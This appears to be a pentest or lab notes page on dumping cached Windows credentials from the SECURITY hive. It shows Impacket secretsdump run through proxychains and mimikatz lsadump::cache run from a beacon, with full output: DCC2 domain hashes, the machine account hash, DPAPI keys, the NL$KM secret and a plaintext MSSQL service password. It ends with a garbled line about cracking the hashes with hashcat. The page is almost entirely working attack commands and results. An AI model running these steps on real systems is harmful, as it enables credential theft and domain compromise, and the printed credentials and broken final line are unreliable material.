Impacket **HKLM\SECURITY** Hive

```
┌──(root㉿kali)-[~/Desktop/impacket/examples]
└─# proxychains proxychains secretsdump.py -security /root/Desktop/security -system /root/Desktop/system LOCAL
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.1.dev1+20230116.181610.efcaec35 - Copyright 2022 Fortra

[*] Target system bootKey: 0x2d15a30f34e39e70886f737cfe2dc9e2
[*] Dumping cached domain logon information (domain/username:hash)
WHITE-BIRD.LOCAL/sql_service:$DCC2$10240#sql_service#47304c3cf05deb38810aa4ba469c1825
WHITE-BIRD.LOCAL/serveradm:$DCC2$10240#serveradm#40c2f6817e536f8e1c73ed66e4e68b76
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:41005d006d007900250064005200 2f003f003500270026002b004500710037005d005d002e006000530049003a00610038003e00200049007500430020004300350033002d006800730024004500710079002a0066004a007300550046003c00700032005a00250041002700440049004300 4b003900730024002500 5b00560035005e005900790023003100460030053002500460073005700380020005100420076004600360060004200300040020003d00410072002600 4a0037006a006c006d0021003e00280034005d002f00550040002a0052006b00720047005600240050003200 3c005200570057002100
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:a076cf1ceef50ad0cbb7ec66930da603
[*] DPAPI_SYSTEM
dpapi_machinekey:0x7e3de51e139f6d27310e39a3b350afaa1c553ca3
dpapi_userkey:0x1bd7b58f747601631aa21262a2147439e0075a6f
[*] NL$KM
 0000   E7 77 17 A2 46 28 A1 73  BD CB E8 DF BE 38 95 D9   .w..F(.s.....8..
 0010   7F 23 91 16 00 C4 E4 66  7B A9 A4 4F 76 83 E6 C4   .#.....f{..Ov...
 0020   D2 86 E9 30 21 D9 47 31  AD 80 22 AD E2 05 C3 AA   ...0!.G1..".....
 0030   8D 23 BC EB 20 D2 06 67  58 FD 23 13 70 01 F3 F0   .#.. ..gX.#.p...
NL$KM:e77717a24628a173bdcbe8dfbe3895d97f23911600c4e4667ba9a44f7683e6c4d286e93021d94731ad8022ade205c3aa8d23bceb20d2066758fd23137001f3f0
[*] _SC_MSSQL$SQL03
(Unknown User):jkhnrjk123!
[*] Cleaning up...
```

Mimikatz **lsadump::cache**

```
beacon> mimikatz lsadump::cache
[*] Tasked beacon to run mimikatz's lsadump::cache command
[+] host called home, sent: 750704 bytes
[+] received output:
Domain : WEB02
SysKey : 2d15a30f34e39e70886f737cfe2dc9e2

Local name : WEB02 ( S-1-5-21-3303600220-2552602723-1010156124 )
Domain name : WHITE-BIRD ( S-1-5-21-2387957962-993181570-3566323574 )
Domain FQDN : white-bird.local

Policy subsystem is : 1.18
LSA Key(s) : 1, default {88c582ca-12b7-e773-8445-d51fdb100f8a}
  [00] {88c582ca-12b7-e773-8445-d51fdb100f8a} 57283f3328132c26fbf5c53253d93bc721767587559821655 8e068b53a687f11

* Iteration is set to default (10240)

[NL$1 - 5/8/2023 1:28:18 PM]
RID       : 00000641 (1601)
User      : WHITE-BIRD\sql_service
MsCacheV2 : 47304c3cf05deb38810aa4ba469c1825

[NL$2 - 5/9/2023 1:41:02 AM]
RID       : 00000644 (1604)
User      : WHITE-BIRD\serveradm
MsCacheV2 : 40c2f6817e536f8e1c73ed66e4e68b76
```

mimikatz **$DCC2$** hashcat **>#<** **>#<** **>** hashcat

Revision #2
Created 10 May 2023 15:52:28 by
Updated 28 December 2023 01:31:06 by